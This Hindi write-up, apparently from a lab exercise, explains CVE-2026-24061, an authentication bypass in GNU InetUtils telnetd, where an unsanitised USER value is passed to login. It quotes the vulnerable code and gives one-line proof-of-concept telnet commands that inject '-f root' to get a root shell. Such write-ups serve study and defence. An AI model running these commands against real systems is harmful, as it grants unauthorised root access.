
GNU-InetUtils-telnetd-प्रमाणीकरण-बाईपास-भेद्यता
CVE-2026–24061 GNU InetUtils की telnetd सेवा में एक गंभीर कमजोरी है।
CVE ID : CVE-2026–24061
गंभीरता : गंभीर (CVSS 9.8)
हमला वेक्टर : नेटवर्क
प्रमाणीकरण आवश्यक : कोई नहीं
प्रभाव : पूर्ण सिस्टम समझौता (root पहुंच)
भेद्यता Telnet सत्र सेटअप के दौरान USER पर्यावरण चर के अनुचित प्रबंधन से उत्पन्न होती है, यह मान सीधे /usr/bin/login के तर्क सूची में अग्रेषित किया जाता है बिना किसी स्वच्छता या सत्यापन के और परिणामस्वरूप, एक दूरस्थ हमलावर कमांड-लाइन विकल्पों को इंजेक्ट करने के लिए इस इनपुट में हेरफेर कर सकता है, प्रभावी रूप से प्रमाणीकरण को बायपास करता है और तुरंत रूट शेल प्राप्त करता है
निम्नलिखित स्निपेट telnetd/utility_file.c से दर्शाता है कि कैसे उपयोगकर्ता-प्रदत्त मान सीधे सत्यापन के बिना उपयोग किए जाते थे:
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
समस्या :
उपयोगकर्ता-नियंत्रित मान USER, terminaltype, और line: बिना सत्यापन के उपयोग किए जाते हैं। सीधे आंतरिक संरचनाओं में कॉपी किए जाते हैं
चूंकि ये मान Telnet प्रोटोकॉल के माध्यम से दूरस्थ क्लाइंट द्वारा प्रभावित किए जा सकते हैं, यह एक महत्वपूर्ण इंजेक्शन बिंदु बनाता है
हमला प्रवाह :
प्रूफ ऑफ कॉन्सेप्ट
एक न्यूनतम प्रूफ ऑफ कॉन्सेप्ट दर्शाता है कि भेद्यता का शोषण कैसे किया जाए:
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
यह कमांड Telnet हैंडशेक के दौरान एक दुर्भावनापूर्ण USER मान इंजेक्ट करता है, जो कमजोर सिस्टम पर अनधिकृत root पहुंच का परिणाम हो सकता है
मैंने CVE-2026–24061 से संबंधित एक लैब पूरा किया, जहां मैंने telnet -l '-f root' 176.16.2.153 का उपयोग करके दुर्भावनापूर्ण तर्क इंजेक्ट करके भेद्यता का शोषण किया और प्रमाणीकरण बाईपास प्राप्त किया, अंततः लक्ष्य सिस्टम पर root-स्तर की पहुंच प्राप्त की

आंतरिक रूप से क्या होता है :
1 - l : लॉगिन नाम को संदर्भित करता है
2 - '-f root': मान उपयोगकर्ता नाम के रूप में पारित किया गया, (-f : कोई पासवर्ड जांच नहीं - प्रमाणीकरण छोड़ें), (root: लक्ष्य उपयोगकर्ता))
3 - कमजोर सर्वर कोई स्वच्छता नहीं करता है
4 - यह -f को उपयोगकर्ता नाम के भाग के बजाय एक फ्लैग के रूप में व्याख्या करता है
इसने मुझे दुर्भावनापूर्ण तर्क इंजेक्ट करने, प्रमाणीकरण बायपास करने और लक्ष्य सिस्टम पर root-स्तर की पहुंच प्राप्त करने की अनुमति दी
तकनीकी सारांश
दोष इस बात में निहित है कि telnetd NEW_ENVIRON Telnet विकल्प को कैसे संभालता है। यह एक क्लाइंट को पर्यावरण चर परिभाषित करने की अनुमति देता है जो सिस्टम के /usr/bin/login बाइनरी को पास किए जाते हैं। चूंकि telnetd USER चर को स्वच्छ करने में विफल रहता है, एक हमलावर -f फ्लैग (फोर्स लॉगिन) इंजेक्ट कर सकता है, जो लॉगिन उपयोगिता को पासवर्ड सत्यापन छोड़ने और निर्दिष्ट उपयोगकर्ता (आमतौर पर root) के लिए तुरंत एक सत्र प्रदान करने का निर्देश देता है